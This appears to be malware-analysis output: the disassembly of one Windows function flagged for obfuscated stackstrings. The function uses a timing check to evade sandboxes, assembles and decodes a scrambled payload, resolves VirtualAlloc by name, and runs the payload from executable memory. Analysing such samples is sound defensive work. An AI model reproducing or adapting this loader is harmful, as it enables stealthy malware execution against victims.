Function at 0x140001905
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xa50
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x9f0], ecx
mov qword [rbp + 0x9f8], rdx
call fcn.140002cb0
call sub.msvcrt.dll_clock
mov dword [rbp + 0x9cc], eax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
mov ecx, 0x34d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x9c8], eax
mov ecx, 0xc30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9c0], rax
mov eax, dword [rbp + 0x9c8]
sub eax, dword [rbp + 0x9cc]
cmp eax, 0x34c
jle 0x140002bc8
mov eax, dword [rbp + 0x9c8]
sub eax, dword [rbp + 0x9cc]
cmp eax, 0x3b0
jg 0x140002bc8
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rcx, str.UBVUhfYY
call fcn.140001583
lea rax, str.9ichnmissapcd0047d8700b8473574c3
mov qword [rbp + 0x9b8], rax
mov dword [0x14001b010], 0
lea rax, str.574c38a50c0f330909b083b8d09b080908480c0858c5f3ff858d87d8d65e2280540c040c040c34c0c89c40
mov qword [rbp + 0x9b0], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.8dc50f000038bd8f80d8db8507c8b508522f5
mov qword [rbp + 0x9a8], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.b090dfd4fd654b94fd654b94f19083
mov qword [rbp + 0x9a0], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.6e45937478f3ee4986806b00b8
mov qword [rbp + 0x998], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.14048bc0d3f550218ed14bd291338b441o_ma_l_
mov qword [rbp + 0x990], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
lea rax, str.MAR_odh__0_onl.idgalnytwmi
mov qword [rbp + 0x988], rax
mov dword [0x14001b014], 0
lea rax, str.u_hoe00455454ff907200978d4893c4d44ac46664d44bc46664dbece04d0b480054005e90dceeb78f0b480074e58
mov qword [rbp + 0x980], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.6eeb38f0b4800b8d3724284007274
mov qword [rbp + 0x978], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.484848868e663dfd084848488848c48848858
mov qword [rbp + 0x970], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
lea rax, str.48f230000380c333c
mov qword [rbp + 0x968], rax
mov dword [0x14001b014], 0
lea rax, str.003c004c004c005c005c726252725248844225444884484174fd0400c0
mov qword [rbp + 0x960], rax
mov dword [0x14001b014], 0
lea rax, str.043c248d84480848c0864884e0484c00200048cfe440484c00000bc68c00c4008
mov qword [rbp + 0x958], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.7fd8948fd85c443238cc448fd85c44325
mov qword [rbp + 0x950], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.8cc448fd04c40ff43f0014714094
mov qword [rbp + 0x948], rax
mov dword [0x14001b014], 0
lea rax, str.0fd4c4d448fd005455c48614544800f
mov qword [rbp + 0x940], rax
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
lea rax, str.48430048d544324007d4c3f42d00
mov qword [rbp + 0x938], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.88cfc7e48247148480400f870355f4240040c0c4886722345vi__eoulL_elMCE
mov qword [rbp + 0x930], rax
mov dword [0x14001b014], 0
lea rax, str._PG_E__mroese_____siuoiWoa__ks
mov qword [rbp + 0x928], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
lea rax, str.eo__nt_dac_30
mov qword [rbp + 0x920], rax
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
lea rax, str.c511188fc3c6
mov qword [rbp + 0x918], rax
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
lea rax, str.405588ad5365f
mov qword [rbp + 0x910], rax
mov eax, dword [0x14001b010]
add eax, eax
mov dword [0x14001b010], eax
lea rax, str.870f5e6c0f87035e6c0f9059f90091b3088d04583285805c80909
mov qword [rbp + 0x908], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.70ed8990b801c0094b3000f34584d82045580d78fd5478c76203040d7009cd0d65c50984d87011
mov qword [rbp + 0x900], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
lea rax, str.40805807e247
mov qword [rbp + 0x8f8], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.0047004700470047004755458445846d84d440480d8d6dd048
mov qword [rbp + 0x8f0], rax
mov eax, dword [0x14001b014]
mov edx, dword [0x14001b010]
sub eax, edx
mov dword [0x14001b010], eax
lea rax, str.1608005f045944160b5b040d525e858d498b9400009
mov qword [rbp + 0x8e8], rax
mov dword [0x14001b014], 0
lea rax, str.04dbf55d60ba2000097b68b2038201167850bb784b873488b380bb784b873408b388bb7
mov qword [rbp + 0x8e0], rax
mov dword [0x14001b014], 0
lea rax, str.94310fb84600b50003940035b8f11b8780
mov qword [rbp + 0x8d8], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
lea rax, str.11fbb88808185b0038c20f0d160d3c4680b14140b47fa03281
mov qword [rbp + 0x8d0], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.179ba9987b1de
mov qword [rbp + 0x8c8], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.8b35d5e5a9fb4b34199910b8cb4c80ecd_MrtALshcEOMR_EEA_mey
mov qword [rbp + 0x8c0], rax
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
lea rax, str.c__l___M_ietdin_wrctebmd_:Cruerl_00c545486fe0400
mov qword [rbp + 0x8b8], rax
mov dword [0x14001b014], 0
lea rax, str.34744944369f
mov qword [rbp + 0x8b0], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.8c75a2c68f8c66b2c68f200bd8e096e0b3890a4e00
mov qword [rbp + 0x8a8], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.548064e0a846014d0be840f4e03ed0470fc27874806274825c65446c060d473cb04c7244f04684f
mov qword [rbp + 0x8a0], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.044258c033f0f039042024002400240024002400242727862787d442844428254fd484284b080f8808442
mov qword [rbp + 0x898], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.84820ddc7044040dc43d410840e1060c58d73848
mov qword [rbp + 0x890], rax
mov eax, dword [0x14001b010]
add eax, eax
mov dword [0x14001b010], eax
lea rax, str.c84e0e0c48c480f380440c4
mov qword [rbp + 0x888], rax
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
lea rax, str.4f0cc44288dc544f384cc44288dc544f385ccbc83b05884444e3c43c33f80388f3dc
mov qword [rbp + 0x880], rax
mov eax, dword [0x14001b014]
mov edx, dword [0x14001b010]
sub eax, edx
mov dword [0x14001b010], eax
lea rax, str.e49045558841784860083841780844486f0880d42e4780bbc30e44041d70373df7bfcd70c441ef841c18484ec54283741c
mov qword [rbp + 0x878], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.c__L_yrlUisoMM_E__TD_eM_l_fl__e_ndr_edcesponru:neyRann_l_90c3756d4f1097e37320dd7
mov qword [rbp + 0x870], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.248cd07242788ad0d644788a9b30f883948a9bb
mov qword [rbp + 0x868], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
lea rax, str.8088809f920e1839458028530bcc0a083098285000433edd8643d9448
mov qword [rbp + 0x860], rax
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
lea rax, str.c7d750200f8
mov qword [rbp + 0x858], rax
mov eax, dword [0x14001b010]
add eax, eax
mov dword [0x14001b010], eax
lea rax, str.d3540487448804040004048d0
mov qword [rbp + 0x850], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.203d0501d2400c480c400c480c400c480c40343384334f484c8
mov qword [rbp + 0x848], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.dc494400fdc84d092d0f051d144d6942f8500d70415090f808110b9050b58603485b7
mov qword [rbp + 0x840], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.850503551881f5d08b4b59806b5944bf9d46f5d46b5944
mov qword [rbp + 0x838], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.bf9d46f5d46ba3dc805854
mov qword [rbp + 0x830], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.1080351c64b2b835b1bdb5840fdcd898
mov qword [rbp + 0x828], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.09903040b5b80940b010
mov qword [rbp + 0x820], rax
mov dword [0x14001b014], 0
lea rax, str.b93fb805848
mov qword [rbp + 0x818], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
lea rax, str.6388fe19c009af4eb356be3fff1994b1385f13c17bcb1b3c0480b843cm_PD_ilNz_d_MSEEUWEm__lsoc_v_m_cuem_tl
mov qword [rbp + 0x810], rax
mov dword [0x14001b014], 0
lea rax, str.d.me_sinrTtsgseecc5545a248
mov qword [rbp + 0x808], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
lea rax, str.0be2fc67879c26664a73334a7a4b77774b7b8600e4b0a7eacefeb58f0b4800467023eeb18400d400f730f4e385
mov qword [rbp + 0x800], rax
mov eax, dword [0x14001b010]
add eax, eax
mov dword [0x14001b010], eax
lea rax, str.00c427488ec4484227667c20004f84d80023332200
mov qword [rbp + 0x7f8], rax
mov dword [0x14001b010], 0
lea rax, str.2322002268410089c823f023852385248524852585258526c427c4274
mov qword [rbp + 0x7f0], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.f2524488442264ff48543009f5d9
mov qword [rbp + 0x7e8], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.0708740524f48003c19f5704f8480b10bf148c48cc485fd898843c4e08ed49f8c483c00483
mov qword [rbp + 0x7e0], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.c34cf488cd452483c44cf488cd452488c4301e4c7b08dc88083c7d4c4c4c7f58c4545c4504872e126e45143b04301040
mov qword [rbp + 0x7d8], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.79048801624400c670d8e8148f4884000cc8c13fc7df4800b4109032
mov qword [rbp + 0x7d0], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.224488cccanVIVo_efe_I_EVXCRTcyseieoeodoylasuhm_wtSih_c61c808f580ecd
mov qword [rbp + 0x7c8], rax
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
lea rax, str.335dd325d000758209b083d588990032f38d075c57c44f0e01db2464240240d087ec4848484848
mov qword [rbp + 0x7c0], rax
mov eax, dword [0x14001b014]
mov edx, dword [0x14001b010]
sub eax, edx
mov dword [0x14001b010], eax
lea rax, str.48475751488d4410dd2559393c1810ff51
mov qword [rbp + 0x7b8], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
lea rax, str.bbcbf5059dfd8528575b432830b8b74838b8b7480e000cb0d0069b6f11138
mov qword [rbp + 0x7b0], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.88c590d78f0fc5b024
mov qword [rbp + 0x7a8], rax
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rax, str.1133d19d94643f2fdfa424883ciO_co_TREIphzdir
mov qword [rbp + 0x7a0], rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xf3
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x9b8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov dword [0x14001b014], 0
mov rdx, qword [rbp + 0x9b0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x9a8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b014]
mov edx, dword [0x14001b010]
sub eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x9a0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x998]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x990]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x988]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x980]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x978]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b014]
mov edx, dword [0x14001b010]
sub eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x970]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x968]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x960]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x958]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x950]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b010], 0
mov rdx, qword [rbp + 0x948]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x940]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x938]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b014]
add eax, eax
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x930]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b014], 0
mov rdx, qword [rbp + 0x928]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x920]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x918]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b010], 0
mov rdx, qword [rbp + 0x910]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
add eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x908]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b010], 0
mov rdx, qword [rbp + 0x900]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x8f8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b010]
mov edx, dword [0x14001b014]
sub eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x8f0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b014]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x8e8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
imul eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x8e0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b010]
add eax, eax
mov dword [0x14001b010], eax
mov rdx, qword [rbp + 0x8d8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add eax, edx
mov dword [0x14001b014], eax
mov rdx, qword [rbp + 0x8d0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x8c8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x8c0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x8b8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x8b0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x8a8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x8a0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x898]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x890]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x888]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x880]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x878]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x870]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x868]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x860]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x858]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x850]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x848]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x838]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x830]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x828]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x820]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x818]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x810]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x808]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x800]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7f8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7e8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7e0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7d8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7d0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7c8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7c0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7b8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7b0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7a8]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x7a0]
mov rax, qword [rbp + 0x9c0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x9c0]
lea rdx, [0x14001cd2b]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x798], rax
mov rdx, qword [rbp + 0x798]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400018bc
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x790], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x790]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x7af
mov ecx, 0
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x7af
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x778]
call rax
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b014]
add edx, eax
mov eax, dword [0x14001b018]
add eax, edx
mov edx, eax
lea rcx, [0x14001cd2d]
call fcn.140001583
jmp 0x140002bea
mov edx, dword [0x14001b010]
mov eax, dword [0x14001b010]
imul eax, edx
mov dword [0x14001b010], eax
lea rcx, str.UBVUhfYY
call fcn.140001583
nop
add rsp, 0xa50
pop rsi
pop rdi
pop rbp
ret